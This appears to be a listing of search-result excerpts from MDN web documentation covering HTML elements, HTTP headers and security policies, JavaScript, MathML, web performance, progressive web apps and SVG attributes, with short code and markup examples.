... srcset a list of one or more strings separated by commas indicating a set of possible images represented by the source for the browser to use.
... specifications specification status comment html living standardthe definition of '<source>' in that specification.
<style>: The Style Information element - HTML: Hypertext Markup Language
WebHTMLElementstyle
<!doctype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue; background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> technical summary content categories metadata content, and if the scoped attribute is present: flow content.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlstyleelement specifications specification status comment html living standardthe definition of 'style' in that specification.
... recommendation the type attribute becomes optional.
... recommendation ...
<title>: The Document Title element - HTML: Hypertext Markup Language
WebHTMLElementtitle
a common navigation technique for users of assistive technology is to read the page title and infer the content the page contains.
... example <title>2 errors - your order - blue house chinese food - foodyum: online takeout today!</title> mdn understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.2 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of '<title>' in that specification.
... recommendation html 4.01 specificationthe definition of '<title>' in that specification.
... recommendation ...
<var>: The Variable element - HTML: Hypertext Markup Language
WebHTMLElementvar
the html variable element (<var>) represents the name of a variable in a mathematical expression or a programming context.
... usage notes related elements other elements that are used in contexts in which <var> is commonly used include: <code>: the html code element <kbd>: the html keyboard input element <samp>: the html sample output element if you encounter code that is mistakenly using <var> for style purposes rather than semantic purposes, you should either use a <span> with appropriate css or, an appropriate semantic element among the following: <em> <i> <q> default style most browsers apply...
... result specifications specification status comment html living standardthe definition of '<var>' in that specification.
... recommendation ...
class - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'class' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'class' in that specification.
... recommendation snapshot of html living standard.
... recommendation supported on all elements but <base>, <basefont>, <head>, <html>, <meta>, <param>, <script>, <style>, and <title>.
contenteditable - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'contenteditable' in that specification.
... recommendation snapshot of html living standard, no change from html 5.1 html 5.1the definition of 'contenteditable' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'contenteditable' in that specification.
... recommendation snapshot of html living standard, initial definition.
id - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'id' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'id' in that specification.
... recommendation snapshot of html living standard, now accept '_', '-' and '.' if not at the beginning of the id.
... recommendation supported on all elements but <base>, <head>, <html>, <meta>, <script>, <style>, and <title>.
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
what values webkit/safari consider “nonstandard” is not documented, except in the following webkit bugs: require preflight for non-standard cors-safelisted request headers accept, accept-language, and content-language allow commas in accept, accept-language, and content-language request headers for simple cors switch to a blacklist model for restricted accept headers in simple cors requests no other browsers implement these extra restrictions, because they’re not part of the spec.
...like access-control-allow-methods, access-control-allow-headers is a comma separated list of acceptable headers.
...developers using cross-site xmlhttprequest capability do not have to set any cross-origin sharing request headers programmatically.
... specifications specification status comment fetchthe definition of 'cors' in that specification.
HTTP caching - HTTP
WebHTTPCaching
however, common http caches are typically limited to caching responses to get and may decline other methods.
...common forms of caching entries are: successful results of a retrieval request: a 200 (ok) response to a get request containing a resource like html documents, images or files.
...as http is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource.
...to optimize this, good practices recommend to set expiration times as far in the future as possible.
Configuring servers for Ogg media - HTTP
this header provides the duration of the video in seconds (not in hh:mm:ss format) as a floating-point value.
... don't use http compression for media files one common way to reduce the load on a web server is to use gzip or deflate compression when serving to a supporting web browser.
...049% ogg overhead video-framerate: 29.983 fps video-width: 640 video-height: 360 vorbis: serialno 0708996688 4531 packets in 167 pages, 27.1 packets/page, 1.408% ogg overhead audio-samplerate: 44100 hz audio-channels: 2 note that you can't simply serve up the reported content-duration line reported by oggz-info, because it's reported in hh:mm:ss format.
...just parse out the hh, mm, and ss into numbers, then do (hh*3600)+(mm*60)+ss to get the value you should report.
Using HTTP cookies - HTTP
WebHTTPCookies
while this was legitimate when they were the only way to store data on the client, it is now recommended to use modern storage apis.
...a simple cookie is set like this: set-cookie: <cookie-name>=<cookie-value> this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all previously stored cookies to the server using the cookie header.
... get /sample_page.html http/2.0 host: www.example.org cookie: yummy_cookie=choco; tasty_cookie=strawberry note: here's how to use the set-cookie header in various server-side applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies are deleted when the current session ends.
... document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry" cookies created via javascript cannot include the httponly flag.
Accept-Language - HTTP
(by languages, we mean natural languages, such as english, and not programming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header.
...it is recommended that the server never overrides an explicit decision.
...but, for a better user experience, this is rarely done and more common way is to ignore the accept-language header in this case.
...the most common extra information is the country or region variant (like 'en-us' or 'fr-ca') or the type of alphabet to use (like 'sr-latn').
CSP: object-src - HTTP
therefore it is recommended to restrict this fetch-directive (e.g.
...you can also specify data schemas (not recommended).
...lation cases given this csp header: content-security-policy: object-src https://example.com/ the following <object>, <embed>, and <applet> elements are blocked and won't load: <embed src="https://not-example.com/flash"></embed> <object data="https://not-example.com/plugin"></object> <applet archive="https://not-example.com/java"></applet> specifications specification status comment content security policy level 3the definition of 'object-src' in that specification.
... recommendation initial definition.
CSP: script-src - HTTP
you can also specify data schemes (not recommended).
...if 'unsafe-eval' isn't specified with the script-src directive, the following methods are blocked and won't have any effect: eval() function() when passing a string literal like to methods like: window.settimeout("alert(\"hello world!\");", 500); window.settimeout window.setinterval window.setimmediate window.execscript (ie < 11 only) strict-dynamic the 'strict-dynamic' source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script.
... specifications specification status comment content security policy level 3the definition of 'script-src' in that specification.
... recommendation initial definition.
Strict-Transport-Security - HTTP
description if a website accepts a connection through http and redirects to https, visitors may initially communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com.
...should it be necessary to disable strict transport security, setting the max-age to 0 (over a https connection) will immediately expire the strict-transport-security header, allowing access via http.
...2 years is, however, the recommended goal as a website's final hsts configuration as explained on https://hstspreload.org.
... strict-transport-security: max-age=63072000; includesubdomains; preload specifications specification status comment http strict transport security (hsts) ietf rfc initial definition ...
HTTP Public Key Pinning (HPKP) - HTTP
extracting the base64 encoded public key information note: while the example below shows how to set a pin on a server certificate, it is recommended to place the pin on the intermediate certificate of the ca that issued the server certificate, to ease certificates renewals and rotations.
... the following commands will help you extract the base64 encoded information from a key file, a certificate signing request, or a certificate.
...c -in my-ecc-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64 openssl req -in my-signing-request.csr -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 openssl x509 -in my-certificate.crt -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64 the following command will extract the base64 encoded information for a website.
...the use of backup certificates and/or pinning the ca certificate is recommended.
Redirections in HTTP - HTTP
when browsers receive a redirect, they immediately load the new url provided in the location header.
...but there are reasons for alternative names for a resource: expanding the reach of your site a common case is when a site resides at www.example.com, but accessing it from example.com should also work.
...you might also redirect from common synonyms or frequent typos of your domains.
... configuring redirects in common servers apache redirects can be set either in the server config file or in the .htaccess of each directory.
HTTP resources and specifications - HTTP
rfc 7232 hypertext transfer protocol (http/1.1): conditional requests proposed standard rfc 7233 hypertext transfer protocol (http/1.1): range requests proposed standard rfc 7234 hypertext transfer protocol (http/1.1): caching proposed standard rfc 5861 http cache-control extensions for stale content informational rfc 8246 http immutable responses proposed standard rfc 7235 hypertext transfer protocol (http/1.1): authentication proposed standard rfc 6265 http state management mechanism defines cookies proposed standard draft spec cookie prefixes ietf draft draft spec same-site cookies ietf draft draft spec deprecate modification of 'secure' cooki...
... experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 returning values from forms: multipart/form-data proposed standard rfc 6266 use of the content-disposition header field in the hypertext transfer protocol (http) proposed standard rfc 2183 communicating presentation information in internet messages: the content-disposition header field only a subset of syntax of the content-disposition header can be used in the context of http messages.
... cross-origin resource sharing living standard rfc 7034 http header field x-frame-options informational rfc 6797 http strict transport security (hsts) proposed standard upgrade insecure requests upgrade insecure requests candidate recommendation content security policy 1.0 content security policy 1.0 csp 1.1 and csp 3.0 doesn't extend the http standard obsolete microsoft document specifying legacy document modes* defines x-ua-compatible note rfc 5689 http extensions for web distributed authoring and versioning (webdav) these extensions of the web, as well as carddav and caldav...
...hyper text coffee pot control protocol (htcpcp/1.0) april 1st joke spec rfc 7168 the hyper text coffee pot control protocol for tea efflux appliances (htcpcp-tea) april 1st joke spec html living standard html defines extensions of http for server-sent events living standard tracking preference expression dnt header editor's draft / candidate recommendation reporting api report-to header draft draft spec expect-ct extension for http ietf draft ...
Functions - JavaScript
a list of parameters to the function, enclosed in parentheses and separated by commas.
...a closure is an expression (most commonly, a function) that can have free variables together with an environment that binds those variables (that "closes" the expression).
... to summarize: the inner function can be accessed only from statements in the outer function.
...this proved to be less than ideal with an object-oriented style of programming.
Iterators and generators - JavaScript
« previousnext » processing each of the items in a collection is a very common operation.
... the most common iterator in javascript is the array iterator, which simply returns each value in the associated array in sequence.
... generator functions while custom iterators are a useful tool, their creation requires careful programming due to the need to explicitly maintain their internal state.
...it is up to the programmer to know which is the case.
Working with objects - JavaScript
objects overview objects in javascript, just as in many other programming languages, can be compared to objects in real life.
...for example, let's create an object named mycar and give it properties named make, model, and year as follows: var mycar = new object(); mycar.make = 'ford'; mycar.model = 'mustang'; mycar.year = 1969; the above example could also be written using an object initializer, which is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}): var mycar = { make: 'ford', model: 'mustang', year: 1969 }; unassigned properties of an object are undefined (and not null).
...examples are as follows: // four variables are created and assigned in a single go, // separated by commas var myobj = new object(), str = 'mystring', rand = math.random(), obj = new object(); myobj.type = 'dot syntax'; myobj['date created'] = 'string with space'; myobj[str] = 'string value'; myobj[rand] = 'random number'; myobj[obj] = 'object'; myobj[''] = 'even an empty string'; console.log(myobj); please note that ...
... getter and setter used in the previous example: var o = { a: 0 }; object.defineproperties(o, { 'b': { get: function() { return this.a + 1; } }, 'c': { set: function(x) { this.a = x / 2; } } }); o.c = 10; // runs the setter, which assigns 10 / 2 (5) to the 'a' property console.log(o.b); // runs the getter, which yields a + 1 or 6 which of the two forms to choose depends on your programming style and task at hand.
Functions - JavaScript
when functions are used only once, a common pattern is an iife (immediately invoked function expression).
... the function constructor note: using the function constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems.
... note: using the generatorfunction constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems.
...each must be a string that conforms to the rules for a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
Date.prototype.toUTCString() - JavaScript
description the value returned by toutcstring() is a string in the form www, dd mmm yyyy hh:mm:ss gmt, where: format sring description www day of week, as three letters (e.g.
... sun, mon, ...) dd day of month, as two digits with leading zero if required mmm month, as three letters (e.g.
... jan, feb, ...) yyyy year, as four or more digits with leading zeroes if required hh hour, as two digits with leading zero if required mm minute, as two digits with leading zero if required ss seconds, as two digits with leading zero if required prior to ecmascript 2018, the format of the return value varied according to the platform.
... the most common return value was an rfc-1123 formatted date stamp, which is a slightly updated version of rfc-822 date stamps.
MathML attribute reference - MathML
separator <mo> there is no visual effect for this attribute, but it specifies whether the operator is a separator (such as commas).
... subscriptshift <mmultiscripts>, <msub>, <msubsup> the minimum space by which to shift the subscript below the baseline of the expression.
... supscriptshift <mmultiscripts>, <msup>, <msubsup> the minimum space by which to shift the superscript above the baseline of the expression.
... symmetric <mo> if stretchy is true, this attribute specifies whether the operator should be vertically symmetric around the imaginary math axis (centered fraction line).
<mn> - MathML
WebMathMLElementmn
the mathml <mn> element represents a numeric literal which is normally a sequence of digits with a possible separator (a dot or a comma).
...; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mn> 0 </mn> <mn> 1.337 </mn> <mn> twelve </mn> <mn> xvi </mn> <mn> 2e10 </mn> </math> specifications specification status comment mathml 3.0the definition of 'mn' in that specification.
... recommendation current specification mathml 2.0the definition of 'mn' in that specification.
... recommendation initial specification ...
<mpadded> - MathML
prior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) the mathml2 pseudo-unit lspace was allowed, which is no longer present in the mathml3 recommendation and has been removed now.
... examples <math> <mpadded height="+150px" width="100px" lspace="2height"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </mpadded> </math> specifications specification status comment mathml 3.0the definition of 'mpadded' in that specification.
... recommendation current specification mathml 2.0the definition of 'mpadded' in that specification.
... recommendation initial specification ...
<ms> - MathML
WebMathMLElementms
the mathml <ms> element represents a string literal meant to be interpreted by programming languages and computer algebra systems.
... examples <math> <ms lquote="„" rquote="“"> abc </ms> </math> specifications specification status comment mathml 3.0the definition of 'ms' in that specification.
... recommendation current specification mathml 2.0the definition of 'ms' in that specification.
... recommendation initial specification ...
<mspace> - MathML
WebMathMLElementmspace
note that some common attributes like mathcolor, mathvariant or dir have no effect on <mspace>.
... examples <math> <mspace depth="40px" height="20px" /> <mspace width="100px" /> </math> specifications specification status comment mathml 3.0the definition of 'mspace' in that specification.
... recommendation current specification mathml 2.0the definition of 'mspace' in that specification.
... recommendation initial specification ...
<mtext> - MathML
WebMathMLElementmtext
the mathml <mtext> element is used to render arbitrary text with no notational meaning, such as comments or annotations.
...t ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example normal (default) ; مثال initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال examples <math> <mtext> theorem of pythagoras </mtext> <mtext> /* comment here */ </mtext> </math> specifications specification status comment mathml 3.0the definition of 'mtext' in that specification.
... recommendation current specification mathml 2.0the definition of 'mtext' in that specification.
... recommendation initial specification ...
Digital video concepts - Web media technologies
the prime symbol, ', indicates that gamma compression is being used.
...in bt.709 (used for hdtv), for example, the luma value is the weighted sum of the gamma-corrected red, green, and blue components of the pixel, using the formula y' = 0.2126r' + 0.7152g' + 0.0722b'.
...this value is computed by subtracting the luma from the gamma corrected blue value; that is, u = b' - y'.
...computed by substracting luma from the gamma corrected red value: v = r' - y'.
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
a new way of sizing images before loading completes recognizing the problem, a wicg community group formed to propose an intrinsicsize attribute.
...fantasai & jen simmons collaborated with emilio, who worked on an experimental implementation to prove it would work.
... mozilla then brought the idea up in the wicg community group and discussed it further until representatives from chrome were onboard with the idea.
... summary so there you have it — eliminating another piece of jank from web layout!
CSS and JavaScript animation performance - Web Performance
even if an element is in the middle of a transition, the new transition starts from the current style immediately instead of jumping to the end css state.
...the most common property is the css transform.
... note: in nightly/developer edition, you should see that omta is enabled by default, so you might have to do the tests the other way around (test with it enabled first, then disable to test without omta.) summary browsers are able to optimize rendering flows.
... in summary, we should always try to create our animations using css transitions/animations where possible.
Populating the page: how browsers work - Web Performance
web performance can be improved by understanding the single-threaded nature of the browser and minimizing the main thread's responsibilities, where possible and appropriate, to ensure rendering is smooth and responses to interactions are immediate.
...this mechanism is designed so that two entities attempting to communicate—in this case the browser and web server—can negotiate the parameters of the network tcp socket connection before transmitting data, often over https.
...this handshake, or rather the tls negotiation, determines which cipher will be used to encrypt the communication, verifies the server, and establishes that a secure connection is in place before beginning the actual transfer of data.
... once the render tree is built, layout commences.
Progressive web app structure - Progressive web apps (PWAs)
previous overview: progressive web apps next now that we know the theory behind pwas, let's look at the recommended structure of an actual app.
...that way, the next time someone visits the app from the device, the ui loads from the cache immediately and any new content is requested from the server (if it isn’t available in the cache already).
...you can <a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa">fork js13kpwa on github</a> to check its source code.</p> <button id="notifications">request dummy notifications</button> <section id="content"> // content inserted in here </section> </main> <footer> <p>© js13kgames 2012-2018, created and maintained by <a href="http://end3r.com">andrzej mazur</a> from <a href="http://enclavegames.com">enclave games</a>.</p> </footer> </body> </html> the <head> section contains some basic info like title, description and links to css, web manifest, gam...
... { slug: 'emma-3d', name: 'emma-3d', author: 'prateek roushan', twitter: '', website: '', github: 'github.com/coderprateek/emma-3d' } ]; every entry has its own image in the data/img folder.
Media - Progressive web apps (PWAs)
this css (below) removes the navigation area when printing the document: @media print { #nav-area {display: none;} } some common media types are: screen color device display print printed paged media projection projected display all all media (the default) more details there are other ways to specify the media type for a set of rules.
... for print media, you normally use appropriate length units like inches (in) and points (pt = 1/72 inch), or centimeters (cm) and millimeters (mm).
... the cursor property specifies the shape of the pointer: some of the common shapes are as follows.
...the next page describes how you can change rules dynamically by using a programming language: javascript.
Mobile first - Progressive web apps (PWAs)
usage context on top of everything else, you must consider the kinds of situations mobile devices will be used in, and the kinds of tasks users most commonly want to perform on mobiles.
... second, a popular option is to put the navigation menu down at the bottom of the page rather than up at the top as the expectation would commonly be.
...i installed the volo automation tool by running the following on the command line sudo npm install -g volo (you'll also need to get node.js too if you don't already have it) i then created my sample project using volo create myapp mozilla/mortar-app-stub this creates a sample project inside a directory called myapp.
...volo has a number of useful commands available, of which we will just use a couple: volo server: starts a local web server at localhost:8080 and runs your app through it: great for easy testing.
The building blocks of responsive design - Progressive web apps (PWAs)
for web developers, it is now fairly common to be called upon to create a web site or app that changes its user interface depending on the browser or device accessing the site to provide an optimized experience.
...mobiles in general (more commonly in some parts of the world than others) are on lower bandwidth connections and have less memory available than desktop devices, so yes, those extra kilobytes really do count.
...there are currently some standards proposals in the works that would provide this — the w3c responsive images community group discussed this problem for ages and arrived at the <picture> element, which provides a similar markup structure to <video>, with <source> alternatives selectable via media query results.
...some ideas follow, which also help to keep the number of http requests down — another key factor in mobile app performance: you should try to use css3 features to programmatically generate graphical effects where possible, rather than relying on image files.
direction - SVG: Scalable Vector Graphics
height: 100%; } <svg viewbox="0 0 600 72" xmlns="http://www.w3.org/2000/svg" direction="rtl" lang="fa"> <text x="300" y="50" text-anchor="middle" font-size="36">داستان svg 1.1 se طولا ني است.</text> </svg> usage notes value ltr | rtl default value ltr animatable yes specifications specification status comment css writing modes module level 3the definition of 'direction' in that specification.
... proposed recommendation definition in css scalable vector graphics (svg) 2the definition of 'direction' in that specification.
... candidate recommendation refers to the css writing modes specification of the direction property.
... recommendation initial definition ...
exponent - SVG: Scalable Vector Graphics
the exponent attribute defines the exponent of the gamma function.
... <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="1"/> <fefuncg type="gamma" exponent="1"/> <fefuncb type="gamma" exponent="1"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="5"/> <fefuncg type="gamma" exponent="5"/> <fefuncb type="gamma" exponent="5"/> </fecomponenttransfer> ...
..."url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes <number> if the type attribute of the component element is set to gamma, this value specifies the exponent of the gamma function specifications specification status comment filter effects module level 1the definition of 'exponent' in that specification.
... recommendation initial definition ...
fill - SVG: Scalable Vector Graphics
WebSVGAttributefill
specifications specification status comment svg animations level 2the definition of 'transform' in that specification.
... candidate recommendation definition for shapes and texts.
... recommendation initial definition for animations scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill' in that specification.
... recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data.
font-variant - SVG: Scalable Vector Graphics
has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-forms || styleset( <feature-value-name># ) || character-variant( <feature-value-name># ) || swash( <feature-value-name> ) || ornaments( <feature-value-name> ) || annotation( <feature-value-name> ) || [ small-caps | all-small-caps | petite-caps | all-...
... specifications specification status comment css fonts module level 4the definition of 'font-variant' in that specification.
... candidate recommendation added many more keywords for different types of variations.
... recommendation initial definition ...
glyph-name - SVG: Scalable Vector Graphics
it is recommended that glyph names be unique within a font.
... only one element is using this attribute: <glyph> context notes value <name># default value none animatable no <name># this value specifies a comma-separated list of names for the glyph.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyph-name' in that specification.
... recommendation initial definition ...
image-rendering - SVG: Scalable Vector Graphics
specifications specification status comment css images module level 3the definition of 'image-rendering' in that specification.
... candidate recommendation definition in css scalable vector graphics (svg) 2the definition of 'image-rendering' in that specification.
... candidate recommendation no significant change, only added a reference to css images 3 scalable vector graphics (svg) 1.1 (second edition)the definition of 'image-rendering' in that specification.
... recommendation initial definition ...
in2 - SVG: Scalable Vector Graphics
WebSVGAttributein2
value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
... recommendation initial definition for <fedisplacementmap> scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <fecomposite>' in that specification.
... recommendation initial definition for <fecomposite> scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <feblend>' in that specification.
... recommendation initial definition for <feblend> ...
kernelMatrix - SVG: Scalable Vector Graphics
values are separated by space characters and/or a comma.
...values are separated by space characters and/or a comma.
... specifications specification status comment filter effects module level 1the definition of 'kernelmatrix' in that specification.
... recommendation initial definition ...
kernelUnitLength - SVG: Scalable Vector Graphics
value <number-optional-number> default value pixel in offscreen bitmap animatable yes specifications specification status comment filter effects module level 1the definition of 'kernelunitlength for <fespecularlighting>' in that specification.
... recommendation initial definition for <fespecularlighting> scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelunitlength for <fediffuselighting>' in that specification.
... recommendation initial definition for <fediffuselighting> scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelunitlength for <feconvolvematrix>' in that specification.
... recommendation initial definition for <feconvolvematrix> ...
lang - SVG: Scalable Vector Graphics
WebSVGAttributelang
the most common syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'lang' in that specification.
... candidate recommendation made the lang attribute (without namespace) available on all elements and defined the interaction between both.
... recommendation deprecated definition of the attribute for <glyph> elements ...
opacity - SVG: Scalable Vector Graphics
WebSVGAttributeopacity
specifications specification status comment css color module level 4the definition of 'opacity' in that specification.
... recommendation defines in more detail what this attribute applies to.
... candidate recommendation references the specification in css color 3 and notes that there are some related attributes.
... recommendation initial definition ...
overflow - SVG: Scalable Vector Graphics
specifications specification status comment css level 2 (revision 1)the definition of 'overflow' in that specification.
... recommendation definition in css scalable vector graphics (svg) 2the definition of 'overflow' in that specification.
... candidate recommendation simplifies the definition and outlines the values within the user agent stylesheet.
... recommendation initial definition ...
refX - SVG: Scalable Vector Graphics
WebSVGAttributerefX
specifications specification status comment scalable vector graphics (svg) 2the definition of 'refx' in that specification.
... candidate recommendation added keywords left, center, and right.
... candidate recommendation initial definition for <symbol> scalable vector graphics (svg) 1.1 (second edition)the definition of 'refx' in that specification.
... recommendation initial definition for <marker> ...
refY - SVG: Scalable Vector Graphics
WebSVGAttributerefY
specifications specification status comment scalable vector graphics (svg) 2the definition of 'refy' in that specification.
... candidate recommendation added keywords left, center, and right.
... candidate recommendation initial definition for <symbol> scalable vector graphics (svg) 1.1 (second edition)the definition of 'refy' in that specification.
... recommendation initial definition for <marker> ...
requiredExtensions - SVG: Scalable Vector Graphics
it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'requiredextensions' in that specification.
... candidate recommendation iris replaced with urls scalable vector graphics (svg) 1.1 (second edition)the definition of 'requiredextensions' in that specification.
... recommendation initial definition ...
rx - SVG: Scalable Vector Graphics
WebSVGAttributerx
specifications specification status comment scalable vector graphics (svg) 2the definition of 'rx' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification.
... recommendation initial definition for <ellipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification.
... recommendation initial definition for <rect> ...
ry - SVG: Scalable Vector Graphics
WebSVGAttributery
specifications specification status comment scalable vector graphics (svg) 2the definition of 'ry' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification.
... recommendation initial definition for <ellipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification.
... recommendation initial definition for <rect> ...
stroke-dasharray - SVG: Scalable Vector Graphics
y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="4 1 2" /> <!-- dashes and gaps of various sizes with an even number of values --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="4 1 2 3" /> </svg> usage notes value none | <dasharray> default value none animatable yes <dasharray> a list of comma and/or white space separated <length>s and <percentage>s that specify the lengths of alternating dashes and gaps.
... legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-dasharray' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-dasharray' in that specification.
... recommendation initial definition for shapes and texts ...
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
_parent the immediate parent browsing context of the svg image is replaced by the linked content, if it exists and can be securely accessed from this document.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'target' in that specification.
... candidate recommendation removed the _replace value.
... recommendation initial definition ...
text-decoration - SVG: Scalable Vector Graphics
specifications specification status comment css text decoration module level 3the definition of 'text-decoration' in that specification.
... candidate recommendation defines the property as a shorthand for text-decoration-line, text-decoration-style, and text-decoration-color.
... candidate recommendation mainly refers to the definition in css text decoration 3 turning the property into a shorthand for text-decoration-line and text-decoration-style.
... recommendation initial definition ...
u1 - SVG: Scalable Vector Graphics
WebSVGAttributeu1
comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g1 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u1' in that specification.
... recommendation initial definition ...
u2 - SVG: Scalable Vector Graphics
WebSVGAttributeu2
comma is the separator character; thus, to kern a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g2 attribute.
... two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u2' in that specification.
... recommendation initial definition ...
values - SVG: Scalable Vector Graphics
WebSVGAttributevalues
a34), separated by whitespace and/or a comma.
... specifications specification status comment filter effects module level 1the definition of 'values for <fecolormatrix>' in that specification.
... recommendation initial definition for <fecolormatrix> scalable vector graphics (svg) 1.1 (second edition)the definition of 'values for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
... recommendation initial definition for <animate>, <animatecolor>, <animatemotion>, and <animatetransform> ...
viewBox - SVG: Scalable Vector Graphics
WebSVGAttributeviewBox
the numbers separated by whitespace and/or a comma, which specify a rectangle in user space which is mapped to the bounds of the viewport established for the associated svg element (not the browser viewport).
... value <number>?, <number>?, <number>?, <number> default value none animatable yes specification specification status comment scalable vector graphics (svg) 2the definition of 'viewbox' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'viewbox' in that specification.
... recommendation initial definition ...
visibility - SVG: Scalable Vector Graphics
ical-align: 50%; } button { line-height: 1em; } .invisible { visibility: hidden; } javascript document.queryselector("button").addeventlistener("click", function (evt) { this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible"); this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status comment css level 2 (revision 1)the definition of 'visibility' in that specification.
... recommendation css definition of the property scalable vector graphics (svg) 2the definition of 'visibility' in that specification.
... candidate recommendation mainly refers to css 2.1 scalable vector graphics (svg) 1.1 (second edition)the definition of 'visibility' in that specification.
... recommendation initial definition ...
writing-mode - SVG: Scalable Vector Graphics
